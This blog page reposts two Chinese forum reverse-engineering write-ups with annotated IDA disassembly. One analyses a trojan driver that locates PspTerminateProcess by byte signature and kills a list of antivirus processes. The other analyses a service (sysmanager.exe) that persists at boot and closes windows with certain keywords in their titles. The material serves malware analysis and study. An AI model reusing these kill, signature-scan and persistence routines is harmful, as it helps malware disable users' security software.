显示标签为“病毒分析”的博文。显示所有博文
显示标签为“病毒分析”的博文。显示所有博文

2011年9月28日星期三

[轉載]分析個性感小馬


作 者: Hacksign 
時 間: 2011-08-02,12:04:51
鏈接: http://bbs.pediy.com/showthread.php?t=138107

昨天發了一篇被判定為YJ貼了。 。 ,希望這篇不會。 。 。
馬比較簡單,適合新手。
先說一下行為:exe文件會釋放Pcix32.sys amd32_.sys atax32.sys三個文件,但是後兩個其實只是地一個的拷貝。 sys文件負責監控各種殺毒軟件和安全工具的啟動,一旦發現,馬上kill。
1。 exe行為。
這裡只寫思路,詳細請參考idb文件和自己跟,嘎嘎。
首先獲取系統drivers目錄,然後釋放Pcix32.sys到這個目錄下,期間拷貝各種副本。
還有,exe會檢測是否有還原精靈,有的話會做相應處理,不過本人太懶。 。懶得搭環境,這部分有興趣的跟一下吧:)
如果沒有還原精靈的話,就加載驅動。
最後有一個注入的行為,也沒仔細跟:D
2。 sys
這個是感興趣的,貼代碼:

代碼:
.text:00010B34 lea eax, [ebp+SystemInformation]
.text:00010B37 push eax ; ReturnLength
.text:00010B38 push 0 ; SystemInformationLength
.text:00010B3A push eax ; SystemInformation
.text:00010B3B push 0Bh ; SystemInformationClass
.text:00010B3D mov edi, ds:__imp_ZwQuerySystemInformation
.text:00010B43 call edi ; __imp_ZwQuerySystemInformation
.text:00010B45 push [ebp+SystemInformation] ; NumberOfBytes
.text:00010B48 push 1 ; PoolType
.text:00010B4A call ds:ExAllocatePool
獲得系統各種信息。 。 。

代碼:
text:00010B5A push 0 ; ReturnLength
.text:00010B5C push [ebp+SystemInformation] ; SystemInformationLength
.text:00010B5F push esi ; SystemInformation
.text:00010B60 push 0Bh ; SystemInformationClass
.text:00010B62 call edi ; __imp_ZwQuerySystemInformation
.text:00010B64 test eax, eax
.text:00010B66 jl short loc_10BDE
.text:00010B68 mov ebx, [esi+0Ch]
.text:00010B6B mov edi, [esi+10h]
.text:00010B6E add edi, ebx
.text:00010B70 push 0 ; Tag
.text:00010B72 push esi ; P
.text:00010B73 call ds:ExFreePoolWithTag
.text:00010B79 mov esi, ebx
.text:00010B7B
.text:00010B7B loc_10B7B: ; CODE XREF: sub_10B28+BF?j
.text:00010B7B cmp esi, edi
.text:00010B7D ja short loc_10BDE
.text:00010B7F push esi ; VirtualAddress
.text:00010B80 call ds:MmIsAddressValid
.text:00010B86 test al, al
.text:00010B88 jz short loc_10BE6
.text:00010B8A lea ebx, [esi+4]
.text:00010B8D push ebx ; VirtualAddress
.text:00010B8E call ds:MmIsAddressValid;測試地址是否可用,防止BSOD。 。 。
.text:00010B94 test al, al
.text:00010B96 jz short loc_10BE6
.text:00010B98 mov eax, 8B55FF8Bh:google一下這個值吧,發現是PspTerminateProcess
.text:00010B9D cmp [esi], eax
.text:00010B9F jnz short loc_10BE6
.text:00010BA1 mov eax, 0CEC83ECh
.text:00010BA6 cmp [ebx], eax
.text:00010BA8 jnz short loc_10BE6
.text:00010BAA mov eax, 0FFF84D83h
.text:00010BAF cmp [esi+8], eax
.text:00010BB2 jnz short loc_10BE6
.text:00010BB4 mov eax, 7D8B5756h
.text:00010BB9 cmp [esi+0Ch], eax
.text:00010BBC jnz short loc_10BE6
.text:00010BBE and [ebp+ms_exc.disabled], 0
.text:00010BC2 mov [ebp+var_20], esi
.text:00010BC5 mov [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010BCC mov eax, esi;保存函數地址
作者考慮的還挺周全。 。 。如果木有找到這個函數:

代碼:
.text:00010A40 call _GetPspTerminateProcessAddress
.text:00010A45 mov PspTerminateProcess, eax
.text:00010A4A test eax, eax
.text:00010A4C jnz short loc_10A8F
.text:00010A4E call sub_10568
就去找PsTerminateProcess這個東東:

代碼:
sub_10568 proc near ; CODE XREF: sub_10A30+1E?p
.text:00010568 push offset aPsterminatesys ; "PsTerminateSystemThread"
.text:0001056D push sysInfo
.text:00010573 call sub_10486
.text:00010578 xor ecx, ecx
.text:0001057A
.text:0001057A loc_1057A: ; CODE XREF: sub_10568+28?j
.text:0001057A cmp byte ptr [eax], 0FFh;0xFF7508,即psterminateprocess
.text:0001057D jnz short loc_1058B
.text:0001057F cmp byte ptr [eax+1], 75h
.text:00010583 jnz short loc_1058B
.text:00010585 cmp byte ptr [eax+2], 8
.text:00010589 jz short loc_10595
。 。 。 。
.text:00010595 loc_10595: ; CODE XREF: sub_10568+21?j
.text:00010595 add eax, 5
.text:00010598 mov ecx, [eax]
.text:0001059A lea eax, [ecx+eax+4]
.text:0001059E retn
期間還有兩個函數,時間倉促,沒細看,就不說了。 。 。 。
下面是find and kill函數,負責幹壞事的元兇:

代碼:
.text:00010CEC mov edi, edi
.text:00010CEE push ebp
.text:00010CEF mov ebp, esp
.text:00010CF1 sub esp, 6A4h
.text:00010CF7 and [ebp+var_C], 0
.text:00010CFB push ebx
.text:00010CFC push esi
.text:00010CFD push edi
.text:00010CFE mov esi, 0FFFFh
.text:00010D03 push esi ; NumberOfBytes
.text:00010D04 mov ebx, offset aKvmonxp_exe ; "KVMonXp.exe"
.text:00010D09 push 1 ; PoolType
.text:00010D0B mov [ebp+SourceString], offset aNod32krn_exe ; "nod32krn.exe"
.text:00010D15 mov [ebp+var_C0], offset aEgui_exe ; "egui.exe"
.text:00010D1F mov [ebp+var_BC], offset aEkrn_exe ; "ekrn.exe"
.text:00010D29 mov [ebp+var_B8], offset a360tray_exe ; "360tray.exe"
.text:00010D33 mov [ebp+var_B4], offset a360safe_exe ; "360Safe.exe"
.text:00010D3D mov [ebp+var_B0], offset aSafeboxtray_ex ; "safeboxTray.exe"
.text:00010D47 mov [ebp+var_AC], offset a360safebox_exe ; "360safebox.exe"
.text:00010D51 mov [ebp+var_A8], offset a360sd_exe ; "360sd.exe"
.text:00010D5B mov [ebp+var_A4], offset aZhudongfangyu_ ; "ZhuDongFangYu.exe"
.text:00010D65 mov [ebp+var_A0], offset a360rp_exe ; "360rp.exe"
.text:00010D6F mov [ebp+var_9C], offset a360sdupd_exe ; "360sdupd.exe"
.text:00010D79 mov [ebp+var_98], offset a360rps_exe ; "360rps.exe"
.text:00010D83 mov [ebp+var_94], offset a3_0 ; "3"
.text:00010D8D mov [ebp+var_90], offset aO ; "O"
.text:00010D97 mov [ebp+var_8C], offset asc_11BDE ; "L"
.text:00010DA1 mov [ebp+var_88], offset aK_8 ; "K"
.text:00010DAB mov [ebp+var_84], offset aK_7 ; "k"
.text:00010DB5 mov [ebp+var_80], offset aK_6 ; "k"
.text:00010DBC mov [ebp+var_7C], offset aK_5 ; "k"
.text:00010DC3 mov [ebp+var_78], offset aK_4 ; "k"
.text:00010DCA mov [ebp+var_74], offset aU ; "u"
.text:00010DD1 mov [ebp+var_70], offset aKxescore_exe ; "kxescore.exe"
.text:00010DD8 mov [ebp+var_6C], offset aKxetray_exe ; "kxetray.exe"
.text:00010DDF mov [ebp+var_68], offset aK_3 ; "K"
.text:00010DE6 mov [ebp+var_64], offset aK ; "K"
.text:00010DED mov [ebp+var_60], offset aGuiyingfix_exe ; "guiyingfix.exe"
.text:00010DF4 mov [ebp+var_5C], offset aRavmond_exe ; "RavMonD.exe"
.text:00010DFB mov [ebp+var_58], offset aR_3 ; "R"
.text:00010E02 mov [ebp+var_54], offset aR ; "R"
.text:00010E09 mov [ebp+var_50], offset aRegguide_exe ; "RegGuide.exe"
.text:00010E10 mov [ebp+var_4C], offset aR_0 ; "R"
.text:00010E17 mov [ebp+var_48], offset aRscopy_exe ; "RsCopy.exe"
.text:00010E1E mov [ebp+var_44], offset aRav_exe ; "Rav.exe"
.text:00010E25 mov [ebp+var_40], offset aKvsrvxp_exe ; "KVSrvXP.exe"
.text:00010E2C mov [ebp+var_3C], offset word_119F2
.text:00010E33 mov [ebp+var_38], ebx
.text:00010E36 mov [ebp+var_34], offset aA ; "a"
.text:00010E3D mov [ebp+var_30], offset aIcesword_exe ; "IceSword.exe"
.text:00010E44 mov [ebp+var_2C], offset aS_0 ; "S"
.text:00010E4B mov [ebp+var_28], offset aR_1 ; "r"
.text:00010E52 mov [ebp+var_24], offset aKnownsvr_exe ; "knownsvr.exe"
.text:00010E59 mov [ebp+var_20], offset aR_2 ; "r"
.text:00010E60 mov [ebp+var_1C], offset aKnsdtray_exe ; "knsdtray.exe"
.text:00010E67 mov [ebp+var_18], offset aK_2 ; "k"
.text:00010E6E mov [ebp+var_14], offset aK_1 ; "k"
.text:00010E75 mov [ebp+var_10], offset aK_0 ; "k"
.text:00010E7C call ds:ExAllocatePool
.text:00010E82 mov edi, eax
.text:00010E84 mov [ebp+P], edi
.text:00010E87 test edi, edi
.text:00010E89 jz loc_10FA5
.text:00010E8F push offset Format ; "enter findprocessandkill\n"
.text:00010E94 call DbgPrint
.text:00010E99 pop ecx
.text:00010E9A lea eax, [ebp+ReturnLength]
.text:00010E9D push eax ; ReturnLength
.text:00010E9E push esi ; SystemInformationLength
.text:00010E9F push edi ; SystemInformation
.text:00010EA0 push 5 ; SystemInformationClass
.text:00010EA2 call ds:__imp_ZwQuerySystemInformation
.text:00010EA8 mov esi, edi
.text:00010EAA
.text:00010EAA loc_10EAA: ; CODE XREF: _FindAddKillProcess+2A8?j
.text:00010EAA add esi, [esi]
.text:00010EAC xor eax, eax
.text:00010EAE lea edi, [esi+38h]
.text:00010EB1 cmp [edi], ax
.text:00010EB4 jz loc_10F91
.text:00010EBA mov [ebp+ReturnLength], eax
.text:00010EBD
.text:00010EBD loc_10EBD: ; CODE XREF: _FindAddKillProcess+29F?j
.text:00010EBD push [ebp+eax*4+SourceString] ; SourceString
.text:00010EC4 lea eax, [ebp+eax*8+DestinationString]
.text:00010ECB push eax ; DestinationString
.text:00010ECC call ds:RtlInitUnicodeString
.text:00010ED2 mov eax, [ebp+ReturnLength]
.text:00010ED5 push 1 ; CaseInSensitive
.text:00010ED7 lea eax, [ebp+eax*8+DestinationString]
.text:00010EDE push eax ; String2
.text:00010EDF push edi ; String1
.text:00010EE0 call ds:RtlCompareUnicodeString
.text:00010EE6 test eax, eax
.text:00010EE8 jnz loc_10F7C
.text:00010EEE mov eax, [ebp+ReturnLength]
.text:00010EF1 push offset aKvsrvxp_exe ; "KVSrvXP.exe"
.text:00010EF6 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010EFD call ds:_wcsicmp
.text:00010F03 pop ecx
.text:00010F04 pop ecx
.text:00010F05 test eax, eax
.text:00010F07 jz short loc_10F75
.text:00010F09 mov eax, [ebp+ReturnLength]
.text:00010F0C push offset word_119F2 ; wchar_t *
.text:00010F11 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010F18 call ds:_wcsicmp
.text:00010F1E pop ecx
.text:00010F1F pop ecx
.text:00010F20 test eax, eax
.text:00010F22 jz short loc_10F75
.text:00010F24 mov eax, [ebp+ReturnLength]
.text:00010F27 push ebx ; wchar_t *
.text:00010F28 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010F2F call ds:_wcsicmp
.text:00010F35 pop ecx
.text:00010F36 pop ecx
.text:00010F37 test eax, eax
.text:00010F39 jz short loc_10F75
.text:00010F3B mov eax, [ebp+ReturnLength]
.text:00010F3E push [ebp+eax*4+SourceString]
.text:00010F45 push offset aFindProcesssWs ; "Find Processs: %ws\n"
.text:00010F4A call DbgPrint
.text:00010F4F pop ecx
.text:00010F50 pop ecx
.text:00010F51 push dword ptr [esi+44h] ; PEPROCESS
.text:00010F54 call KillProcess
.text:00010F59 test eax, eax
.text:00010F5B jl short loc_10F7C
.text:00010F5D mov eax, [ebp+ReturnLength]
.text:00010F60 push [ebp+eax*4+SourceString]
.text:00010F67 push offset aKillProcesssWs ; "Kill Processs: %ws OK!\n"
.text:00010F6C call DbgPrint
.text:00010F71 pop ecx
.text:00010F72 pop ecx
.text:00010F73 jmp short loc_10F7C
.text:00010F75 ; --------------------------------------------- ------------------------------
.text:00010F75
.text:00010F75 loc_10F75: ; CODE XREF: _FindAddKillProcess+21B?j
.text:00010F75 ; _FindAddKillProcess+236?j ...
.text:00010F75 mov byte_1212C, 1
.text:00010F7C
.text:00010F7C loc_10F7C: ; CODE XREF: _FindAddKillProcess+1FC?j
.text:00010F7C ; _FindAddKillProcess+26F?j ...
.text:00010F7C mov eax, [ebp+ReturnLength]
.text:00010F7F inc eax
.text:00010F80 cmp [ebp+eax*4+SourceString], 0
.text:00010F88 mov [ebp+ReturnLength], eax
.text:00010F8B jnz loc_10EBD
.text:00010F91
.text:00010F91 loc_10F91: ; CODE XREF: _FindAddKillProcess+1C8?j
.text:00010F91 cmp dword ptr [esi], 0
.text:00010F94 jnz loc_10EAA
.text:00010F9A push 0 ; Tag
.text:00010F9C push [ebp+P] ; P
.text:00010F9F call ds:ExFreePoolWithTag
.text:00010FA5
.text:00010FA5 loc_10FA5: ; CODE XREF: _FindAddKillProcess+19D?j
.text:00010FA5 pop edi
.text:00010FA6 pop esi
.text:00010FA7 pop ebx
.text:00010FA8 leave
.text:00010FA9 retn
循環查找一堆安全工具,發現就kill~
呵呵,看一下怎麼kill的吧:

代碼:
KillProcess proc near ; CODE XREF: _FindAddKillProcess+268?p
.text:00010CB0
.text:00010CB0 PEPROCESS = dword ptr 8
.text:00010CB0
.text:00010CB0 mov edi, edi
.text:00010CB2 push ebp
.text:00010CB3 mov ebp, esp
.text:00010CB5 lea eax, [ebp+PEPROCESS]
.text:00010CB8 push eax
.text:00010CB9 push [ebp+PEPROCESS]
.text:00010CBC call PsLookupProcessByProcessId
.text:00010CC1 test eax, eax
.text:00010CC3 jl short loc_10CCE
.text:00010CC5 mov ecx, [ebp+PEPROCESS] ; Object
.text:00010CC8 call ds:ObfDereferenceObject
.text:00010CCE
.text:00010CCE loc_10CCE: ; CODE XREF: KillProcess+13?j
.text:00010CCE push [ebp+PEPROCESS]
.text:00010CD1 call sub_10C4E
.text:00010CD6 test eax, eax
.text:00010CD8 jl short loc_10CDE
.text:00010CDA xor eax, eax
.text:00010CDC jmp short loc_10CE3
.text:00010CDE ; --------------------------------------------- ------------------------------
.text:00010CDE
.text:00010CDE loc_10CDE: ; CODE XREF: KillProcess+28?j
.text:00010CDE mov eax, 0C0000001h
.text:00010CE3
.text:00010CE3 loc_10CE3: ; CODE XREF: KillProcess+2C?j
.text:00010CE3 pop ebp
.text:00010CE4 retn 4
.text:00010CE4 KillProcess endp
然後是00010CD1的調用:

代碼:
                
.text:00010C50 push offset unk_12088
.text:00010C55 call __SEH_prolog4
.text:00010C5A xor edi, edi
.text:00010C5C mov [ebp+var_1C], edi
.text:00010C5F mov [ebp+ms_exc.disabled], edi
.text:00010C62 push edi ; Object
.text:00010C63
.text:00010C63 loc_10C63: ; CODE XREF: sub_10C4E+32?j
.text:00010C63 push [ebp+PEPROCESS] ; PEPROCESS
.text:00010C66 call sub_10BEE
.text:00010C6B mov esi, eax
.text:00010C6D cmp esi, edi
.text:00010C6F jz short loc_10C99
.text:00010C71 mov [ebp+var_1C], edi
.text:00010C74 push edi
.text:00010C75 push esi
.text:00010C76 call PspTerminateProcess
.text:00010C7C mov [ebp+var_1C], eax
.text:00010C7F push esi
.text:00010C80 jmp short loc_10C63
.text:00010C82 ; --------------------------------------------- ------------------------------
.text:00010C82
.text:00010C82 loc_10C82: ; DATA XREF: .rdata:0001209C?o
.text:00010C82 mov eax, [ebp+ms_exc.exc_ptr]
.text:00010C85 mov eax, [eax]
.text:00010C87 mov eax, [eax]
.text:00010C89 mov [ebp+var_20], eax
.text:00010C8C xor eax, eax
.text:00010C8E inc eax
.text:00010C8F retn
.text:00010C90 ; --------------------------------------------- ------------------------------
.text:00010C90
.text:00010C90 loc_10C90: ; DATA XREF: .rdata:000120A0?o
.text:00010C90 mov esp, [ebp+ms_exc.old_esp]
.text:00010C93 mov eax, [ebp+var_20]
.text:00010C96 mov [ebp+var_1C], eax
.text:00010C99
.text:00010C99 loc_10C99: ; CODE XREF: sub_10C4E+21?j
.text:00010C99 mov [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010CA0 mov eax, [ebp+var_1C]
.text:00010CA3 call __SEH_epilog4
.text:00010CA8 retn 4
.text:00010CA8 sub_10C4E endp
先到這裡吧。 。寫的有點簡略,大家見諒。 。 。

2011年8月4日星期四

sysmanager.exe逆向分析

作 者: 古越魂
時 間: 2011-07-15,20:23:50

這幾天不知道為啥子電腦速度特別慢,而且有些網頁打開後就直接將瀏覽器關閉了,搞得我很鬱悶.用殺毒軟件查殺,結果啥都沒查出來...於是很糾結,還是手動殺毒比較靠譜...因為這些網頁打開的都有些破解,逆向等字眼,所以就懷疑它是根據關鍵字來進行工作的,於是新建了一個“逆向破解.txt”,用記事本打開,果然:一打開它就關閉了,換editplus打開,結果還是一樣,而換了文件名打開就正常了.
      因為對於每個進程都會產生這種情況,所以初步懷疑是dll注入,可對照兩個進程的dll,除了系統的dll,貌似也沒啥子問題,而注入系統dll的可能性不大,所以還是另尋他法吧。
     將電腦在安全模式下打開,觀察進程列表,然後電腦正常模式下打開,觀察進程列表,然後再進行一個一個排除。
      經過反复的測試,確定是sysmanager.exe文件的問題,關閉進程,結果能正常運行。結果百度了下該進程,果然是個病毒木馬程序,然後清理註冊表,刪除程序,ok,殺毒完畢! ! !
     本來到這裡都應該結束了,但是一時也沒啥事幹,而且這東西搞得我鬱悶無比! ! !所以還是決定分析下。
    PEiD查殼:Microsoft Visual C++ 6.0
    這是一個好消息,接著就IDA + OD進行分析吧.

代碼:
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:004014F0 _WinMain@16 proc near ; CODE XREF: start+12Fp
.text:004014F0
.text:004014F0 ServiceStartTable= SERVICE_TABLE_ENTRYA ptr -10h
.text:004014F0 var_8 = dword ptr -8
.text:004014F0 var_4 = dword ptr -4
.text:004014F0 hInstance = dword ptr 4
.text:004014F0 hPrevInstance = dword ptr 8
.text:004014F0 Str1 = dword ptr 0Ch
.text:004014F0 nShowCmd = dword ptr 10h
.text:004014F0
.text:004014F0 sub esp, 10h
.text:004014F3 call sub_401000
.text:004014F8 call ds:GetCurrentThreadId
.text:004014FE mov dword_403068, eax
.text:00401503 xor eax, eax
.text:00401505 mov [esp+10h+var_8], eax
.text:00401509 mov [esp+10h+var_4], eax
.text:0040150D mov eax, [esp+10h+Str1]
//判斷是否為刪除指令,如果是,那麼刪除服務,卸載程序
.text:00401511 push offset Str2 ; "/uninstall"
.text:00401516 push eax ; Str1
.text:00401517 mov [esp+18h+ServiceStartTable.lpServiceName], offset ServiceName ; "SystemManager"
.text:0040151F mov [esp+18h+ServiceStartTable.lpServiceProc], offset loc_401450
.text:00401527 call ds:_stricmp
.text:0040152D add esp, 8
.text:00401530 test eax, eax
.text:00401532 jnz short loc_401541
.text:00401534 call sub_401220
.text:00401539 x​​or eax, eax
.text:0040153B add esp, 10h
.text:0040153E retn 10h
.text:00401541 ; --------------------------------------------- ------------------------------
.text:00401541
.text:00401541 loc_401541: ; CODE XREF: WinMain(x,x,x,x)+42j
.text:00401541 call sub_401040
.text:00401546 lea ecx, [esp+10h+ServiceStartTable]
//函數StartServiceCtrlDispatcherA的利用
//對於每一個新建的進程,創建一個線程,進行檢測操作
.text:0040154A push ecx ; lpServiceStartTable
.text:0040154B call ds:StartServiceCtrlDispatcherA
.text:00401551 xor eax, eax
.text:00401553 add esp, 10h
.text:00401556 retn 10h
.text:00401556 _WinMain@16 endp



typedef struct _SERVICE_TABLE_ENTRY {
  LPTSTR lpServiceName;
  LPSERVICE_MAIN_FUNCTION lpServiceProc;
} SERVICE_TABLE_ENTRY,
lpServiceProc = 401450


//將sysmanager.exe複製到系統目錄,並創建啟動服務
.text:00401040 sub esp, 220h
.text:00401046 lea eax, [esp+220h+NewFileName]
.text:0040104A push ebx
.text:0040104B push esi
.text:0040104C push edi
.text:0040104D push 100h ; uSize
.text:00401052 push eax ; lpBuffer
.text:00401053 call ds:GetSystemDirectoryA
.text:00401059 mov edi, offset aSysmanager_exe ; "\\sysmanager.exe"
.text:0040105E or ecx, 0FFFFFFFFh
.text:00401061 xor eax, eax
.text:00401063 lea edx, [esp+22Ch+NewFileName]
.text:00401067 repne scasb
.text:00401069 not ecx
.text:0040106B sub edi, ecx
.text:0040106D push 104h ; nSize
.text:00401072 mov esi, edi
.text:00401074 mov ebx, ecx
.text:00401076 mov edi, edx
.text:00401078 or ecx, 0FFFFFFFFh
.text:0040107B repne scasb
.text:0040107D mov ecx, ebx
.text:0040107F dec edi
.text:00401080 shr ecx, 2
.text:00401083 rep movsd
.text:00401085 mov ecx, ebx
.text:00401087 lea eax, [esp+230h+ExistingFileName]
.text:0040108E and ecx, 3
.text:00401091 push eax ; lpFilename
.text:00401092 rep movsb
.text:00401094 push 0 ; hModule
//獲取自身程序名
.text:00401096 call ds:GetModuleFileNameA
.text:0040109C lea ecx, [esp+22Ch+NewFileName]
.text:004010A0 push 0 ; bFailIfExists
.text:004010A2 lea edx, [esp+230h+ExistingFileName]
.text:004010A9 push ecx ; lpNewFileName
.text:004010AA push edx ; lpExistingFileName
//複製文件
.text:004010AB call ds:CopyFileA
.text:004010B1 test eax, eax
.text:004010B3 jnz short loc_4010BF
.text:004010B5 pop edi
.text:004010B6 pop esi
.text:004010B7 pop ebx
.text:004010B8 add esp, 220h
.text:004010BE retn
.text:004010BF ; --------------------------------------------- ------------------------------
.text:004010BF
.text:004010BF loc_4010BF: ; CODE XREF: sub_401040+73j
.text:004010BF push 0F003Fh ; dwDesiredAccess
.text:004010C4 push 0 ; lpDatabaseName
.text:004010C6 push 0 ; lpMachineName
//打開服務管理
.text:004010C8 call ds:OpenSCManagerA
.text:004010CE test eax, eax
.text:004010D0 mov hSCObject, eax
.text:004010D5 jnz short loc_4010E1
.text:004010D7 pop edi
.text:004010D8 pop esi
.text:004010D9 pop ebx
.text:004010DA add esp, 220h
.text:004010E0 retn
.text:004010E1 ; --------------------------------------------- ------------------------------
.text:004010E1
.text:004010E1 loc_4010E1: ; CODE XREF: sub_401040+95j
.text:004010E1 push 0 ; lpPassword
.text:004010E3 push 0 ; lpServiceStartName
.text:004010E5 push offset Dependencies ; lpDependencies
.text:004010EA push 0 ; lpdwTagId
.text:004010EC lea ecx, [esp+23Ch+NewFileName]
.text:004010F0 push 0 ; lpLoadOrderGroup
.text:004010F2 push ecx ; lpBinaryPathName
.text:004010F3 mov ebx, 2
.text:004010F8 push 1 ; dwErrorControl
.text:004010FA push ebx ; dwStartType
.text:004010FB push 110h ; dwServiceType
.text:00401100 push 0F01FFh ; dwDesiredAccess
.text:00401105 push offset ServiceName ; "SystemManager"
.text:0040110A push offset ServiceName ; "SystemManager"
.text:0040110F push eax ; hSCManage
//創建服務
.text:00401110 call ds:CreateServiceA
.text:00401116 mo​​v esi, ds:GetLastError
.text:0040111C mov dword_403060, eax
.text:00401121 test eax, eax
.text:00401123 jnz short loc_40117C
.text:00401125 call esi ; GetLastError
.text:00401127 cmp eax, 431h
.text:0040112C jz short loc_401147
.text:0040112E mov edx, hSCObject
.text:00401134 push edx ; hSCObject
.text:00401135 call ds:CloseServiceHandle
.text:0040113B pop edi
.text:0040113C pop esi
.text:0040113D xor eax, eax
.text:0040113F pop ebx
.text:00401140 add esp, 220h
.text:00401146 retn
.text:00401147 ; --------------------------------------------- ------------------------------
.text:00401147
.text:00401147 loc_401147: ; CODE XREF: sub_401040+ECj
.text:00401147 mov eax, hSCObject
.text:0040114C push 10h ; dwDesiredAccess
.text:0040114E push offset ServiceName ; "SystemManager"
.text:00401153 push eax ; hSCManager
//打開服務
.text:00401154 call ds:OpenServiceA
.text:0040115A test eax, eax
.text:0040115C mov dword_403060, eax
.text:00401161 jnz short loc_40117C
.text:00401163 mov ecx, hSCObject
.text:00401169 push ecx ; hSCObject
.text:0040116A call ds:CloseServiceHandle
.text:00401170 pop edi
.text:00401171 pop esi
.text:00401172 xor eax, eax
.text:00401174 pop ebx
.text:00401175 add esp, 220h
.text:0040117B retn


//刪除服務
sub_401220 proc near ; CODE XREF: WinMain(x,x,x,x)+44p
.text:00401220 push esi
.text:00401221 push 0F003Fh ; dwDesiredAccess
.text:00401226 push 0 ; lpDatabaseName
.text:00401228 push 0 ; lpMachineName
.text:0040122A call ds:OpenSCManagerA
.text:00401230 test eax, eax
.text:00401232 mov hSCObject, eax
.text:00401237 jz loc_4012C3
.text:0040123D push 0F01FFh ; dwDesiredAccess
.text:00401242 push offset ServiceName ; "SystemManager"
.text:00401247 push eax ; hSCManager
.text:00401248 call ds:OpenServiceA
.text:0040124E test eax, eax
.text:00401250 mov dword_403060, eax
.text:00401255 jz short loc_4012C3
.text:00401257 push offset ServiceStatus ; lpServiceStatus
.text:0040125C push eax ; hService
.text:0040125D call ds:QueryServiceStatus
.text:00401263 cmp ServiceStatus.dwCurrentState, 4
.text:0040126A jnz short loc_40127F
.text:0040126C mov eax, dword_403060
.text:00401271 push offset ServiceStatus ; lpServiceStatus
.text:00401276 push 1 ; dwControl
.text:00401278 push eax ; hService
.text:00401279 call ds:ControlService
.text:0040127F
.text:0040127F loc_40127F: ; CODE XREF: sub_401220+4Aj
.text:0040127F mov ecx, dword_403060
.text:00401285 push ecx ; hService
.text:00401286 call ds:DeleteService
.text:0040128C test eax, eax
.text:0040128E jz short loc_4012AB
.text:00401290 mov edx, hSCObject
.text:00401296 mov esi, ds:CloseServiceHandle
.text:0040129C push edx ; hSCObject
.text:0040129D call esi ; CloseServiceHandle
.text:0040129F mov eax, dword_403060
.text:004012A4 push eax ; hSCObject
.text:004012A5 call esi ; CloseServiceHandle
.text:004012A7 xor eax, eax
.text:004012A9 pop esi
.text:004012AA retn



xt:00401450 loc_401450: ; DATA XREF: WinMain(x,x,x,x)+2Fo
.text:00401450 push offset sub_4012D0
.text:00401455 push offset ServiceName ; "SystemManager"
.text:0040145A mov ServiceStatus.dwCurrentState, 2
.text:00401464 mov ServiceStatus.dwControlsAccepted, 3
.text:0040146E call ds:RegisterServiceCtrlHandlerA
.text:00401474 test eax, eax
.text:00401476 mov hServiceStatus, eax
.text:0040147B jz short locret_4014E4
.text:0040147D push esi
.text:0040147E mov esi, ds:SetServiceStatus
.text:00401484 push offset ServiceStatus
.text:00401489 push eax
.text:0040148A call esi ; SetServiceStatus
.text:0040148C mov eax, hServiceStatus
.text:00401491 push offset ServiceStatus
.text:00401496 push eax
.text:00401497
.text:00401497 __cfltcvt_init:
.text:00401497 mov ServiceStatus.dwWin32ExitCode, 0
.text:004014A1 mov ServiceStatus.dwCheckPoint, 0
.text:004014AB mov ServiceStatus.dwWaitHint, 0
.text:004014B5 mov ServiceStatus.dwCurrentState, 4
.text:004014BF call esi ; SetServiceStatus
.text:004014C1 push 0
.text:004014C3 push 0
.text:004014C5 push 0
.text:004014C7 push offset sub_401380
.text:004014CC push 0
.text:004014CE push 0
.text:004014D0 call ds:CreateThread
.text:004014D6 test eax, eax
.text:004014D8 pop esi
.text:004014D9 jz short locret_4014E4
.text:004014DB push 0FFFFFFFFh
.text:004014DD push eax
.text:004014DE call ds:WaitForSingleObject
.text:004014E4
.text:004014E4 locret_4014E4: ; CODE XREF: .text:0040147Bj
.text:004014E4 ; .text:004014D9j
.text:004014E4 retn


對於每個新建的進程,都創建一個線程,線程函數地址:sub_401380

sub_401380 proc near ; DATA XREF: .text:004014C7o
.text:00401380
.text:00401380 String = byte ptr -104h
.text:00401380
.text:00401380 sub esp, 104h
.text:00401386 push ebx
.text:00401387 mov ebx, ds:_mbsstr
.text:0040138D push esi
.text:0040138E push edi
.text:0040138F
.text:0040138F loc_40138F: ; CODE XREF: sub_401380+47j
.text:0040138F ; sub_401380+BEj
.text:0040138F push 3E8h ; dwMilliseconds
.text:00401394 call ds:Sleep
.text:0040139A xor eax, eax
.text:0040139C mov ecx, 19h
.text:004013A1 mov edi, offset dword_403094
.text:004013A6 push eax ; lParam
.text:004013A7 rep stosd
.text:004013A9 push offset EnumFunc ; lpEnumFunc
.text:004013AE mov dword_403224, 0
.text:004013B8 call ds:EnumWindows //枚舉窗口
.text:004013BE mov eax, dword_403224
.text:004013C3 xor edi, edi
.text:004013C5 test eax, eax
.text:004013C7 jle short loc_40138F
.text:004013C9 mov esi, offset dword_403094
.text:004013CE
.text:004013CE loc_4013CE: ; CODE XREF: sub_401380+BCj
.text:004013CE mov eax, [esi]
.text:004013D0 test eax, eax
.text:004013D2 jz short loc_401431
.text:004013D4 lea ecx, [esp+110h+String]
.text:004013D8 push 80h ; nMaxCount
.text:004013DD push ecx ; lpString
.text:004013DE push eax ; hWnd
.text:004013DF call ds:GetWindowTextA //獲取窗口文本
.text:004013E5 test eax, eax
.text:004013E7 jz short loc_401431
.text:004013E9 lea edx, [esp+110h+String]
.text:004013ED push offset unk_403040
.text:004013F2 push edx
.text:004013F3 call ebx ; _mbsstr
.text:004013F5 add esp, 8
.text:004013F8 test eax, eax
.text:004013FA jnz short loc_401422
.text:004013FC lea eax, [esp+110h+String]
.text:00401400 push offset aI ; "專用"
.text:00401405 push eax
.text:00401406 call ebx ; _mbsstr //檢測關鍵字:專用
.text:00401408 add esp, 8
.text:0040140B test eax, eax
.text:0040140D jnz short loc_401422
.text:0040140F lea ecx, [esp+110h+String]
.text:00401413 push offset aT ; "破解"
.text:00401418 push ecx
.text:00401419 call ebx ; _mbsstr //檢測關鍵字:破解
.text:0040141B add esp, 8
.text:0040141E test eax, eax
.text:00401420 jz short loc_401431
.text:00401422
.text:00401422 loc_401422: ; CODE XREF: sub_401380+7Aj
.text:00401422 ; sub_401380+8Dj
.text:00401422 mov edx, [esi]
.text:00401424 push 0 ; lParam
.text:00401426 push 0 ; wParam
.text:00401428 push 10h ; Msg
.text:0040142A push edx ; hWnd
.text:0040142B call ds:SendMessageA //發送消息,關閉進程
